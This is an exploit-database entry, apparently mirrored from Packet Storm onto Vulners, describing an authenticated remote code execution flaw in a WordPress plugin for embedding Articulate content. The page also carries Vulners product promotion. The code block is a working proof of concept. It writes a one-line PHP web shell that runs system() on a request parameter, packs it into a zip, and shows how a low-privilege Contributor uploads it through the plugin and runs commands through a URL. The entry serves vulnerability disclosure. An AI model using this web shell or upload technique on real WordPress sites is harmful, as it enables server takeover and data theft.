Lucene search
K

WordPress Insert Or Embed Articulate Content 4.2997 Remote Code Execution

🗓️ 11 Jun 2019 00:00:00Reported by xulchibalraaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 533 Views

Authenticated code execution in 'insert-or-embed-articulate-content-into-wordpress' plugin, allowing remote PHP file executio

Code
`# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin  
# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive   
# Date: june 2019  
# Exploit Author: xulchibalraa  
# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/  
# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip  
# Version: 4.2995 <= 4.2997   
# Tested on: Wordpress 5.1.1, PHP 5.6   
# CVE : -  
  
  
## 1. Create a .zip archive with 2 files: index.html, index.php  
  
echo "<html>hello</html>" > index.html  
echo "<?php echo system($_GET['cmd']); ?>" > index.php  
zip poc.zip index.html index.php   
  
## 2. Log in to wp-admin with any user role that has access to the plugin functionality (by default even `Contributors` role have access to it)  
## 3. Create a new Post -> Select `Add block` -> E-Learning -> Upload the poc.zip -> Insert as: Iframe -> Insert (just like in tutorial https://youtu.be/knst26fEGCw?t=44 ;)  
## 4. Access the webshell from the URL displayed after upload similar to   
  
http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation